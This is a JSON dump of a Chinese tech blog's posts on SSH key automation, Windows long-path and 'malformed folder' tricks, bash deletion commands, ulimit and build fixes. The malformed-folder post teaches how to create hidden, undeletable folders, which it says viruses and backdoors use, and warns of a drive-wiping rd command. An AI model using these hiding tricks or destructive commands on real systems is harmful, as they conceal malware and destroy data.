restart","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"Windows中删除路径太长目录及文件","slug":"delete-long-path-in-windows","date":"2016-09-30T08:10:07.000Z","updated":"2022-11-08T12:47:15.846Z","comments":true,"path":"2016/09/30/delete-long-path-in-windows/","link":"","permalink":"https://ajasonwang.github.io/2016/09/30/delete-long-path-in-windows/","excerpt":"用node的话,经常搞出这种路径超过Windows限制的情况而导致目录删不掉,网上说下面这个命令可以删除 在cmd命令行窗口中输入 robocopy empty_dir will_delete_dir /purge empty_dir 新建的空白目录will_delete_dir 要删除的目录注意中间的空格 自己搞了个powershell脚本,先把路径名字改短然后再删,也很方便","text":"用node的话,经常搞出这种路径超过Windows限制的情况而导致目录删不掉,网上说下面这个命令可以删除 在cmd命令行窗口中输入 robocopy empty_dir will_delete_dir /purge empty_dir 新建的空白目录will_delete_dir 要删除的目录注意中间的空格 自己搞了个powershell脚本,先把路径名字改短然后再删,也很方便 $test='C:\\test' @' 删除Windows下面的目录时,有时候会提示路经过长无法删除,本脚本可以递归对目录下面的子目录和文件改名字让它变短 本脚本可以多次运行 '@ function renameFolder($global:path){ $items=@(Get-ChildItem -Path $global:path) $global:newpath=@() foreach($item in $items){ $global:num=$(Get-Random -minimum 100 -maximum 999) if($item.PSIsContainer -eq $true){ Rename-Item $item.FullName $num -ErrorAction SilentlyContinue $global:newpath+=Join-Path $global:path $num }else{ $temp = Join-Path $global:path $item Rename-Item $temp $global:num -ErrorAction SilentlyContinue } } foreach($new in $global:newpath){ if($new.PSIsContainer -eq $true){ renameFolder $new } } } renameFolder $test","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://ajasonwang.github.io/tags/Windows/"}]},{"title":"增加ssh无密码信任连接的安全性","slug":"secure-ssh-trust-connection","date":"2016-07-01T02:13:07.000Z","updated":"2022-11-08T12:47:15.890Z","comments":true,"path":"2016/07/01/secure-ssh-trust-connection/","link":"","permalink":"https://ajasonwang.github.io/2016/07/01/secure-ssh-trust-connection/","excerpt":"一般情况这样玩为了方便系统管理或者服务器运维自动化,我们通常要在服务器间做ssh无密码信任连接。 在服务器端创建密钥 1ssh-keygen -t dsa 一路回车,在~/.ssh下生成的id_rsa是私钥,id_rsa.pub是公钥。复制公钥到目标服务器,然后就可以无密码登录了: 自动化拷贝公钥到多台目标机器","text":"一般情况这样玩为了方便系统管理或者服务器运维自动化,我们通常要在服务器间做ssh无密码信任连接。 在服务器端创建密钥 1ssh-keygen -t dsa 一路回车,在~/.ssh下生成的id_rsa是私钥,id_rsa.pub是公钥。复制公钥到目标服务器,然后就可以无密码登录了: 自动化拷贝公钥到多台目标机器 1234567891011#!/bin/sh. /etc/init.d/functionsfor ip in 77 185 197 208do expect fenfa_sshkey.exp ~/.ssh/id_dsa.pub 10.86.17.$ip if [ $? -eq 0 ];then echo "$ip" /bin/true else echo "$ip" /bin/false fidone expect脚本 123456789101112131415161718192021222324252627282930313233#!/usr/bin/expectset timeout 10if { $argc != 2 } { send_user "usage: expect fenfa_sshkey.exp file host\\n" exit}#set file [lindex $argv 0]set host [lindex $argv 1]set user saset psw yourpasswordspawn ssh-copy-id -i $file -p 22 $user@$hostexpect { "(yes/no)?" { send "yes\\n" expect "*password:*" { send $psw send "\\r" } } "*password:*" { send $psw send "\\r" }}expect eofexit -onexit { send_user "$user say good bye to you!\\n"} 这种方式很方便,但是如果操作主机上没有口令短语的id_rsa文件被别人获得,你的服务器基本就是人家的了。所以使用口令短语对加强安全性来说是有必要的。我们把目标主机的 ~/.ssh/authorized_keys 移走,在操作主机上重新生成一对儿密钥,再ssh-copy-id到目标主机,ssh -p 22 sa@ip 连接的时候必须输入正确的口令短语才能登录目标主机。 在生产环境里,已经部署了不带口令短语的密钥,必须删除目标主机原有的公钥(保存在目标主机的~/.ssh/authorized_keys),删除操作主机旧的密钥并重新生成一套带口令的,再ssh-copy-id到目标主机。 重点内容现在又一个问题来了,加了口令短语,私钥安全了,但是登录麻烦了,自动化运维也不可能了。怎么办?我们可以用ssh-agent(ssh代理守护进程)。 启动代理守护进程: eval `ssh-agent` 将私钥添加到代理守护进程: ssh-add 列出代理守护进程保存的私钥: ssh-add -l 删除代理守护进程保存的私钥: ssh-add -D 一个例子说说eval这个bash内部指令非常有意思,它是将后面的 `` 符号(键盘左上角跟~符一起的那个,不是单引号哈!)内的指令执行之后,把输出结果再执行一遍,比如上文的 eval `ssh-agent` 先看看 ssh-agent 单独执行结果: 12345[root@centos7-cn ~]# ssh-agentSSH_AUTH_SOCK=/tmp/ssh-CDZB3GtAT0MT/agent.11758; export SSH_AUTH_SOCK;SSH_AGENT_PID=11759; export SSH_AGENT_PID;echo Agent pid 11759;[root@centos7-cn ~]# eval `ssh-agent` 就是将ssh-agent的输出结果再执行一次,相当于: 123[root@centos7-cn ~]# SSH_AUTH_SOCK=/tmp/ssh-CDZB3GtAT0MT/agent.11758; export SSH_AUTH_SOCK;[root@centos7-cn ~]# SSH_AGENT_PID=11759; export SSH_AGENT_PID;[root@centos7-cn ~]# echo Agent pid 11759; 所以 eval `ssh-agent` 的执行结果就是: 后台运行ssh-agent,并且在当前会话输出两个环境变量SSH_AUTH_SOCK、SSH_AGENT_PID,然后再显示 Agent pid 11759 。 我们试一下: 1234567[root@centos7-cn ~]# eval `ssh-agent`Agent pid 11877[root@centos7-cn ~]# echo $SSH_AUTH_SOCK/tmp/ssh-2Aq37RrIkeOH/agent.11876[root@centos7-cn ~]# echo $SSH_AGENT_PID11877[root@centos7-cn ~]# 注意,这里得到的Pid跟单独执行的ssh-agent不同了,pgrep ssh-agent 会看到两个进程号: 1234[root@centos7-cn ~]# pgrep ssh-agent1175911877[root@centos7-cn ~]# 还要注意,退出当前会话并不会杀死ssh-agent进程。手工杀死进程除了上述的 pgrep 指令,还有ssh-agent -k 可以。试试: 1234567[root@centos7-cn ~]# ssh-agentSSH_AUTH_SOCK=/tmp/ssh-gm8UdqqlTXeb/agent.14140; export SSH_AUTH_SOCK;SSH_AGENT_PID=14141; export SSH_AGENT_PID;echo Agent pid 14141;[root@centos7-cn ~]#[root@centos7-cn ~]# ssh-agent -kSSH_AGENT_PID not set, cannot kill agent 找不到SSH_AGENT_PID环境变量,这个指令选项无效。那么手工输出一下吧: 12345678[root@centos7-cn ~]#[root@centos7-cn ~]# SSH_AGENT_PID=14141; export SSH_AGENT_PID;[root@centos7-cn ~]#[root@centos7-cn ~]# ssh-agent -kunset SSH_AUTH_SOCK;unset SSH_AGENT_PID;echo Agent pid 14141 killed;[root@centos7-cn ~]# 这回可以了。所以 ssh-agent 命令最好还是用 eval `ssh-agent` 执行更方便,但是要记住不能重复执行,ssh-agent -k 只负责最后一个进程,道理呢?参考ssh-agent -k指令输出,自己琢磨一下吧。 参考链接","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"Windows 畸形文件夹","slug":"windows-malformation-folder","date":"2016-06-03T03:44:38.000Z","updated":"2022-11-08T12:47:15.906Z","comments":true,"path":"2016/06/03/windows-malformation-folder/","link":"","permalink":"https://ajasonwang.github.io/2016/06/03/windows-malformation-folder/","excerpt":"一、如何让一个文件夹无法删除,甚至无法打开?以建一个”abc.”文件夹为例(注意文件名中的点,正常情况下你是无法创建一个带点的文件名的文件夹的): 1、进入命令提示符,将当前工作目录切换到D盘,输入: D: 回车,然后下输入: md abc..\\ 回车。","text":"一、如何让一个文件夹无法删除,甚至无法打开?以建一个”abc.”文件夹为例(注意文件名中的点,正常情况下你是无法创建一个带点的文件名的文件夹的): 1、进入命令提示符,将当前工作目录切换到D盘,输入: D: 回车,然后下输入: md abc..\\ 回车。 2、你就会发现建成了一个”abc.”的文件夹。 3、这个文件夹双击打不开也删不掉,同时普通模式下也删不掉。 4、那如何放文件进去呢?可以用COPY命令复制文件进去: copy 文件名 d:/abd../ 5、那如何打开这个文件夹呢?在”运行”中输入完整的路径和文件夹的名称就行了,如:D:\\abc..\\ 6、那如何删除呢?命令行下,将当前工作目录切换到D盘,并输入: rd /q /s abc..\\ 原理:用了windows的非法命名好处,这个是windows NT系列系统的bug,在dos或者win9x下就可以正常访问NT系统创建的这种文件夹,但不能创建此类文件夹。如果分区是NTFS格式,9X就无能为力了。病毒利用这个bug进行破坏,ghost工具则利用这个bug进行备份gho文件,非常了不起的是:ghost.exe在DOS下能发现这样的文件夹——兼容window NT的这个bug。 二、再有一种文件夹是可以正常打开但不能删的:创建命令: md “D:/abc / “ 删除命令: rd /q /s “D:/abc / “ 注意:引号最好要有,还有空格,如:”D:/abc空格/空格” 。 三、再来个看不见的:创建命令: md D:/…/ 删除命令: rd /q /s D:/…/ 注意:这个文件夹在资源管理器里是看不见的,但命令提示符能看见。打开方式:运行(win+r)下输入D:/…/ 注意:使用 rd /s /q D:/…/ 命令时,少个 . 会把D盘所有文件都删除了!输入命令时要小心谨慎呀! 四、另一种可以正常打开不能通过资源管理器删除的:创建命令: md “D:/ / “ 删除命令: rd /q /s “D:/ / “ 注意:引号最好要有,还有空格,如:”D:/空格/空格” 。 五、补充说明:1、如果你 md abc../ 建个 abc. 这样的非法文件夹。 再在资源管理器中建个abc的文件夹。原来的 abc. 就可以打开。不过看不到里面的文件。而且可以删除 abc. 文件夹。不过删了 abc. 文件夹的话。里面原来的文件会跑到后面建的 abc 文件夹里去。这个 abc 文件夹也会变得无法删除并且无法打开。 但如果在”运行”下输入 D:/abc../ 的话,还是可以看到里面的文件的。 abc. 文件夹和 abc 文件夹同时存在的时候,可以给 abc. 文件夹改名成abc文件夹。这时就同时存在两个 abc 文件夹。但如果你删除其中的一个文件夹,刷新后,还是会返回成 abc. 文件夹。在xp的命令行可以轻松建立这样删不掉的文件夹,可是在纯dos下却不行! 2、建一个不带”.” 与带”.” 的”bug文件夹”: (1)建立一个带”.”文件夹,如: md abc../ (2)建立一个普通文件夹abc (3)普通方法删除带点的文件夹 (4)后面留下的abc文件夹也是普通方法打不开,删不掉,同原 abc. 文件一样用,就是名称上看起来没”.” 3、再来伪装”bug文件夹”: ( 1)建abc.文件夹 (2)copy命令复制文件进abc.文件夹 (3)普通建abc文件夹 (4)此时可以打开abc.与abc,且两文件夹似乎使用的是同样的磁盘空间,普通方法复制进其中一个文件夹,另一个文件夹会有同样的文件出现。但是在第2步中copy进文件夹的文件不会显示。 ( 5)两个文件都可以用普通方法删除,但是不管是删除哪个(abc.或是abc),剩下的那个文件夹(abc或是abc.)与第1步中建立的abc.具有相同功能,普通方法不能打开,不能删除。 所以,可以建立名称如同普通文件夹一样的”bug文件夹”(只是名称看起来一样而已),可以把一些想保护起来的文件放到里面,免于误删,被该等问题。 六、一些有意思的现象:1、如果把文件拖到这个abc.文件夹里。那么,他马上会生成个abc(同名文件夹),并且拖进去的文件可见,但是见不到之前用在运行下输入 D:/abc../ 复制进去的文件。并且,如果在拖进文件之后用在运行下输入 D:/abc../ 进去看。是看不到拖进去的文件的。把这两个同名的文件夹删掉其中之一后,用在运行下输入 D:/abc../ 进去看,还是看不到拖进去的文件。 2、我们可以先建立一个如abc的文件夹,再把其设为隐藏属性,然后再利用winrar这个软件来对其文件夹命名为abc../ 。至此大功告成,其文件夹达到一般不可删除,隐藏的的功能。再把文件夹选项设为不显示隐藏文件。 3、现在只是在windows 2000里运行里用 abc../ 进入不了文件夹,在xp里就可以进入。 4、在NTFS分区下,资源管理器看不见的这个目录。分区必须是FAT32格式,NTFS是无法建立的。 5、其实分区里面abc.文件是可以删除的,注意是文件不是文件夹。方法如下: 用 dir/x 命令来获取畸形文件的短文件名,再用del命令来删除。 七、特别需要注意的情况部分网站服务器目录中出现了大量的畸形文件夹,那么就需要注意了,这是黑客留的后门程序都在里面了,一定要删除了,如果手工删除少了还可以,如果几千了文件,就需要用批量删除程序了","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://ajasonwang.github.io/tags/Windows/"}]},{"title":"在 Bash 中删除除某些文件外的所有文件","slug":"exclude-file-when-using-rm","date":"2016-05-19T07:52:08.000Z","updated":"2022-11-08T12:47:15.862Z","comments":true,"path":"2016/05/19/exclude-file-when-using-rm/","link":"","permalink":"https://ajasonwang.github.io/2016/05/19/exclude-file-when-using-rm/","excerpt":"我的一位同事曾经问过我这样一个问题:在 Linux 下,如何 删除目录中除某些文件之外的所有文件?当时,我告诉他可 以通过模式匹配的方法解决。但其实,除此之外,还有其他 的方法,正所谓“条条大路通罗马”。让我们来逐一看看。 假设要删除 ~/Downloads 目录中除 *.iso 和 *.zip 外的 所有文件,那么在 bash 中可以按以下方法处理。 模式匹配法shopt -s extglob # 确认开启 extglob 选项 cd ~/Downloads rm -v !(*.iso|*.zip) !(pattern list) 的作用是匹配除 pattern list 之外 的文件。","text":"我的一位同事曾经问过我这样一个问题:在 Linux 下,如何 删除目录中除某些文件之外的所有文件?当时,我告诉他可 以通过模式匹配的方法解决。但其实,除此之外,还有其他 的方法,正所谓“条条大路通罗马”。让我们来逐一看看。 假设要删除 ~/Downloads 目录中除 *.iso 和 *.zip 外的 所有文件,那么在 bash 中可以按以下方法处理。 模式匹配法shopt -s extglob # 确认开启 extglob 选项 cd ~/Downloads rm -v !(*.iso|*.zip) !(pattern list) 的作用是匹配除 pattern list 之外 的文件。 设置变量法在 bash 中,GLOBIGNORE 可用来设置要忽略的模式匹配 文件,多个模式通过 : 分隔。 cd ~/Downloads export GLOBIGNORE=*.zip:*.iso rm -v * unset GLOBIGNORE find 搜索法熟悉 find 的朋友想必知道,find 的威力异常强大,因此 利用它也可解决此问题。 cd ~/Downloads find . -type f -not \\( -name '*.zip' -or -name '*.iso' \\) -delete","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"正确配置Linux系统ulimit/nproc值的方法(转)","slug":"linux-ulimit-nproc-set","date":"2016-04-29T09:47:34.000Z","updated":"2022-11-08T12:47:15.879Z","comments":true,"path":"2016/04/29/linux-ulimit-nproc-set/","link":"","permalink":"https://ajasonwang.github.io/2016/04/29/linux-ulimit-nproc-set/","excerpt":"在Linux下面部署应用的时候,有时候会遇上Socket/File: Can’t open so many files的问题;这个值也会影响服务器的最大并发数,其实Linux是有文件句柄限制的,而且Linux默认不是很高,一般都是1024,生产服务器用其实很容易就达到这个数量。下面说的是,如何通过正解配置来改正这个系统默认值。 查看方法 我们可以用ulimit -a来查看所有限制值","text":"在Linux下面部署应用的时候,有时候会遇上Socket/File: Can’t open so many files的问题;这个值也会影响服务器的最大并发数,其实Linux是有文件句柄限制的,而且Linux默认不是很高,一般都是1024,生产服务器用其实很容易就达到这个数量。下面说的是,如何通过正解配置来改正这个系统默认值。 查看方法 我们可以用ulimit -a来查看所有限制值 [root@centos5 ~]# ulimit -acore file size (blocks, -c) 0data seg size (kbytes, -d) unlimitedscheduling priority (-e) 0file size (blocks, -f) unlimitedpending signals (-i) 31365max locked memory (kbytes, -l) 64max memory size (kbytes, -m) unlimitedopen files (-n) 1024pipe size (512 bytes, -p) 8POSIX message queues (bytes, -q) 819200real-time priority (-r) 0stack size (kbytes, -s) 10240cpu time (seconds, -t) unlimitedmax user processes (-u) 31365virtual memory (kbytes, -v) unlimitedfile locks (-x) unlimited 其中 “open files (-n) 1024 “是Linux操作系统对一个进程打开的文件句柄数量的限制 (也包含打开的SOCKET数量,可影响MySQL的并发连接数目)。 正确的做法,应该是修改/etc/security/limits.conf里面有很详细的注释,比如 hadoop soft nofile 32768hadoop hard nofile 65536 hadoop soft nproc 32768hadoop hard nproc 65536 就可以将文件句柄限制统一改成软32768,硬65536。配置文件最前面的是指domain,设置为星号代表全局,另外你也可以针对不同的用户做出不同的限制。 注意:这个当中的硬限制是实际的限制,而软限制,是warnning限制,只会做出warning;其实ulimit命令本身就有分软硬设置,加-H就是硬,加-S就是软默认显示的是软限制,如果运行ulimit命令修改的时候没有加上的话,就是两个参数一起改变。 RHE6及以后 nproc的修改在/etc/security/limits.d/90-nproc.conf中 生效 因为我平时工作最多的是部署web环境(Nginx+FastCGI外网生产环境和内网开发环境),重新登陆即可(reboot其实也行)我分别用root和www用户登陆,用ulimit -a分别查看确认,做这之前最好是重启下ssh服务,service sshd restart。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"pip install 的报错 Unable to find vcvarsall.bat","slug":"pip-install-unable-to-find-vcvarsallbat","date":"2016-03-23T05:03:03.000Z","updated":"2022-11-08T12:47:15.887Z","comments":true,"path":"2016/03/23/pip-install-unable-to-find-vcvarsallbat/","link":"","permalink":"https://ajasonwang.github.io/2016/03/23/pip-install-unable-to-find-vcvarsallbat/","excerpt":"Python 2.7 会搜索 Visual Studio 2008.如果你电脑上没有这个版本的话,比如只有: Visual Studio 2010,在cmd里面执行: SET VS90COMNTOOLS=%VS100COMNTOOLS% Visual Studio 2012 的话: SET VS90COMNTOOLS=%VS110COMNTOOLS% 其他版本的VS依此类推","text":"Python 2.7 会搜索 Visual Studio 2008.如果你电脑上没有这个版本的话,比如只有: Visual Studio 2010,在cmd里面执行: SET VS90COMNTOOLS=%VS100COMNTOOLS% Visual Studio 2012 的话: SET VS90COMNTOOLS=%VS110COMNTOOLS% 其他版本的VS依此类推 解决了上面的问题,执行pip install 的时候有时候还会报错: general error c1010070: Failed to load and parse the manifest. The system cannot find the file specified.error: command ‘mt.exe’ failed with exit status 31 解决办法:由于vs201x的link.exe的参数稍微有些改变,所以在link的时候没有生成manifest文件,自然mt.exe找不到这个文件。只需要在msvc9compiler.py里面搜索一下MANIFESTFILE,然后在他上面加一行 ld_args.append(‘/MANIFEST’) 保存就OK了。 补充:如果是用的64位的python,那么链接的时候会用到64位的lib库,所以还得把开发包中Lib目录中的x64目录里面的两个lib文件放到vc的lib目录中的amd64目录中。比如对于visual studio 2012就放在C:\\Program Files (x86)\\Microsoft Visual Studio 11.0\\VC\\lib\\amd64\\","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://ajasonwang.github.io/tags/Python/"}]},{"title":"双系统进Ubuntu开机卡死","slug":"ubuntu-hang-on-boot","date":"2016-01-13T04:02:02.000Z","updated":"2022-11-08T12:47:15.900Z","comments":true,"path":"2016/01/13/ubuntu-hang-on-boot/","link":"","permalink":"https://ajasonwang.github.io/2016/01/13/ubuntu-hang-on-boot/","excerpt":"公司淘汰的DELL OPTIPLEX780自从带回家装机之后一直焕发着第二春。不过自打安装了双系统之后就小毛病不断,这次又进不去ubuntu的X了,虽说被无数次折磨过,不过实在不想再像以前那样直接重装ubuntu了,于是开始Google咯,直到问题解决,现在记录一下问题作为备忘。 先说系统环境 软件: Window 10 + Ubuntu 15.10 ➜ ~ lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 15.10Release: 15.10Codename: wily","text":"公司淘汰的DELL OPTIPLEX780自从带回家装机之后一直焕发着第二春。不过自打安装了双系统之后就小毛病不断,这次又进不去ubuntu的X了,虽说被无数次折磨过,不过实在不想再像以前那样直接重装ubuntu了,于是开始Google咯,直到问题解决,现在记录一下问题作为备忘。 先说系统环境 软件: Window 10 + Ubuntu 15.10 ➜ ~ lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 15.10Release: 15.10Codename: wily 硬件: 硬盘:Samsung SSD 850 EVO 120GB(操作系统盘) + 希捷(Seagate)ST1000DM003-1ER162 (CC45)CPU:Intel® Core™2 Duo CPU E7500 @ 2.93GHz × 2显卡:Intel® Q45/Q43 默认启动项Systemd,进不了X,查看启动项内容如下:(libata.force=noncq是Google之后自己加的,关键词: EVO 850 linux kernel ncq bug,参考链接:hdd problems, failed command: READ FPDMA QUEUED) menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-211dc254-7fee-4d5b-a9c7-01980b270596' { recordfail load_video gfxmode $linux_gfx_mode insmod gzio if [ x$grub_platform = xxen ]; then insmod xzio; insmod lzopio; fi insmod part_msdos insmod xfs set root='hd0,msdos7' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos7 --hint-efi=hd0,msdos7 --hint-baremetal=ahci0,msdos7 211dc254-7fee-4d5b-a9c7-01980b270596 else search --no-floppy --fs-uuid --set=root 211dc254-7fee-4d5b-a9c7-01980b270596 fi linux /boot/vmlinuz-4.2.0-23-generic root=UUID=211dc254-7fee-4d5b-a9c7-01980b270596 ro libata.force=noncq quiet splash $vt_handoff initrd /boot/initrd.img-4.2.0-23-generic } 第二启动项upstart进入X桌面环境没有问题 linux /boot/vmlinuz-4.2.0-23-generic root=UUID=211dc254-7fee-4d5b-a9c7-01980b270596 ro libata.force=noncq quiet splash $vt_handoff init=/sbin/upstart 翻来覆去找谷歌,终于看到某位大神在一个帖子里不经意的一句,算是功夫不负有心人 Thread: Ubuntu Installation Freezes Randomly on MSI GE72 2QF Apache Pro 2 这句话要记下来(第二句咯): You HAVE to install ubuntu 15.04 64bit. Any other version simply does not work. Some people also reported that 14.04.3 64bit works too. In the BIOS you have to disable the following: FastBoot, Intel Speedstep, SecureBoot In the BIOS make sure that UEFI is enabled with CSM When starting the Ubuntu installation you have to add the kernel option “libata.force=noncq”. This is a MUST! After the installation do a full update on Ubuntu. Then you can remove the kernel option “libata.force=noncq”. Your SSD should perform faster now. But SpeedStep is still a problem. I have to keep it off. I even re-enabled Fastboot and Secure in the BIOS and it still runs fine. 于是,重启进BIOS,把FastBoot禁用了,然后按顺序操作,一切完好如初。。。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Ubuntu","slug":"Ubuntu","permalink":"https://ajasonwang.github.io/tags/Ubuntu/"}]},{"title":"放弃那些无用的社交","slug":"drop-meaningless-social-activities","date":"2015-10-12T20:34:34.000Z","updated":"2022-11-08T12:47:15.860Z","comments":true,"path":"2015/10/13/drop-meaningless-social-activities/","link":"","permalink":"https://ajasonwang.github.io/2015/10/13/drop-meaningless-social-activities/","excerpt":"那年我一个人来到北京,带上父亲跟我说的一句话:多交朋友。 于是,上大学时,我酷爱社交,参加了三个社团,只要有活动,都会去打个酱油。我乐意留别人的电话,曾几何时,我把留到别人电话数量当成炫耀的资本。 我待人热情,对人诚恳,却总是被忽略。他们只有在打杂的时候,才会想到这个社团还有一个我。那段时间,虽然很多场合都有我的存在,但永远不是核心,别人也不太愿意跟我交朋友。 可活动后,留下打扫卫生的,永远是我。","text":"那年我一个人来到北京,带上父亲跟我说的一句话:多交朋友。 于是,上大学时,我酷爱社交,参加了三个社团,只要有活动,都会去打个酱油。我乐意留别人的电话,曾几何时,我把留到别人电话数量当成炫耀的资本。 我待人热情,对人诚恳,却总是被忽略。他们只有在打杂的时候,才会想到这个社团还有一个我。那段时间,虽然很多场合都有我的存在,但永远不是核心,别人也不太愿意跟我交朋友。 可活动后,留下打扫卫生的,永远是我。 一次,认识了学校的一个老师,那年我还是个学生,屁颠屁颠的大半夜去他办公室,只是因为他给我说了,晚上他一个人在办公室值班。 我听他跟我聊了很久,没有深聊,只是表面肤浅的交流了十几分钟,他告诉我,他是负责学校入党工作的。 我听的很认真,临走前留下了他的电话,还送了带来了的两袋水果。 后来我入党写申请书,那时不知道可以在网上下模板,傻里吧唧的发短信找他帮忙,他却冷冷的回了一条:我没空。 其实我在很多场合都遇到过了这样的拒绝,你以为你和对方留了电话存了微信,应该彼此能帮忙,却忘记了一件很重要的事情:只有关系平等,才能互相帮助。 这个故事没完。 几年后,我已经是一名英语老师,深夜接到了一个电话,正是几年前的那位老师。 他笑嘻嘻的跟我寒暄了两句,很快就聊到了正题:竟然是找我介绍靠谱的英语老师,希望私下能给他的孩子上一节课。 那段时间,我每天都在上课,白天劳累困顿,晚上晕头转向,加上想到过去的种种,于是我只是搪塞了,改天我看看,就匆匆挂了电话。 当然,我什么也没帮他。 后来我忽然想到这件事,为什么我没有帮他,或者说,很久以前,他为什么不肯帮助我。 答案很简单,除去彼此的感情,能让对方帮自己的根本条件,是你能提供等价的回报。换句话说,过去我是个学生,没法给他提供等价回报;而之后我不需要入党,他也没法给我提供等价回报。 而且,我们的感情基础是零。 事实很冷,但这是事实。 我们总是去参加社交,却不知道,很多社交其实并没有什么用,看似留了别人电话,却在需要帮助的时候,仅仅是白打了一个电话。 因为我们不够优秀。 很残忍,但谁愿意帮助一个不优秀的人呢。 曾有个朋友跟我说,我参加了不少社交,朋友也不少,为什么会越来越孤单,直到今天,很多事情都无人帮助我,难过。 我问她,社交场上,别人一般怎么介绍我。 她说,我的朋友,小白。 我说,一般怎么介绍那些优秀的人? 她说,独立撰稿人、主播、导演、教授… …某某某。 我说,所以你懂了,如果你自己不强大,那些社交其实没有什么用,只有等价的交换,才能得到合理的帮助。 所以,在你还没有足够强大足够优秀的时候,先别花太多那些宝贵的时间去社交,先花点时间读读书提升一下专业技能。我们都有过参加一个聚会发现无话可说甚至不知道做一些什么的经历,因为,这个群体,不属于你。 要知道,只有优秀的人,才能得到有用的社交。 几个月后,小白参加一个电视栏目大火,现在她依旧喜欢参加社交活动,她告诉我,现在甚至有些人每天给她每天分享一些文字,还有些是之前不喜欢理我的人。 一个当红作家曾经给我说过一个故事,他成名之前,给一个很大的报社投过稿,可是,多次发稿,却石沉大海。 一年后,他的书大卖,这家报社的创始人竟然亲自来找他约稿。 他们关系很好,因为一个需要卖书,一个需要发有质量的文字。有人说他和这个报社的关系好,他只说了一句话: “等价的交换,才有了等价的友谊。” 别觉得世界残酷,这就是游戏规则,别着急痛苦这世界冰冷冷的像一块铁,请看完我的文字。 我在北京打拼的第一年,一无所有,可每周的都会有一个朋友来看我,给我送吃的,那哥们叫立冬,是我最好的朋友。 他曾经说,无论你是谁,但你是我兄弟。 后来我有点名气了,他依旧跟我说,别以为你是谁,你就是我兄弟。 这种人,被称为真朋友,他不适用于以上的规则。无论什么时候,他都愿意帮助你,无论你贫穷还是窝囊,因为你们共同经历过一些事情,他们总是不离不弃。你们的帮助,不用等价交换,只用感情平等,就好。 这种人不用多,在这个浮夸的世界里,几个就好。 所以,放弃那些无用无效的社交,提升自己,才能让世界变得更大。同时,相信世界上美好的友情,存在于彼此内心深处,安静的保守着他们。 (文/李尚龙) 原文链接","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"心情","slug":"心情","permalink":"https://ajasonwang.github.io/tags/%E5%BF%83%E6%83%85/"}]},{"title":"做个聪明的信息消费者","slug":"to-be-a-smart-information-consumer","date":"2015-08-20T18:52:52.000Z","updated":"2022-11-08T12:47:15.897Z","comments":true,"path":"2015/08/21/to-be-a-smart-information-consumer/","link":"","permalink":"https://ajasonwang.github.io/2015/08/21/to-be-a-smart-information-consumer/","excerpt":"原文链接 需翻墙 作者:Sylar 近来有发现,部分翻墙网民一直没有登陆推特、谷歌,使用翻墙软件只为看一些政治八卦,后在墙内平台上传播。那些充满戏剧色彩的、或许永远也无从证实的「故事性消息」,满足着猎奇者的欲望。他们可以翻墙,但不经常翻墙,只在政治八卦的线索出现在视野内的时候,才能触发翻墙兴趣。实验将一篇正规外媒的消息链接发在这样的群体里,如果标题没能激起猎奇欲望的话,便很容易被忽略,大家认为「没必要费力搭梯子只为打开一个墙外链接」。 这让人感觉,长期处于新闻管制下的信息消费者,即便短期脱离管制,有可能依旧缺乏独立辨认信息的能力。猎奇心理的基础是寻求刺激,背景是反应迟钝或弱化,基本属于在长期「统一思想」的束缚之下需求被压制的结果。主要表现为轻信、偏执,分为渠道依赖型偏执和内容偏执(猎奇),后者有可能很快转化为前者。","text":"原文链接 需翻墙 作者:Sylar 近来有发现,部分翻墙网民一直没有登陆推特、谷歌,使用翻墙软件只为看一些政治八卦,后在墙内平台上传播。那些充满戏剧色彩的、或许永远也无从证实的「故事性消息」,满足着猎奇者的欲望。他们可以翻墙,但不经常翻墙,只在政治八卦的线索出现在视野内的时候,才能触发翻墙兴趣。实验将一篇正规外媒的消息链接发在这样的群体里,如果标题没能激起猎奇欲望的话,便很容易被忽略,大家认为「没必要费力搭梯子只为打开一个墙外链接」。 这让人感觉,长期处于新闻管制下的信息消费者,即便短期脱离管制,有可能依旧缺乏独立辨认信息的能力。猎奇心理的基础是寻求刺激,背景是反应迟钝或弱化,基本属于在长期「统一思想」的束缚之下需求被压制的结果。主要表现为轻信、偏执,分为渠道依赖型偏执和内容偏执(猎奇),后者有可能很快转化为前者。 基于传播心理,人们重视传播后的反馈,当刺激性成为传播质量的要素时,猎奇就成为了一种需求。政治八卦体现宫廷神秘感,之所以能引发兴趣是政治参与被剥夺的结果。中国长期的专制传统也一直在强化政治的神秘,猎奇心态的存在并不难理解。 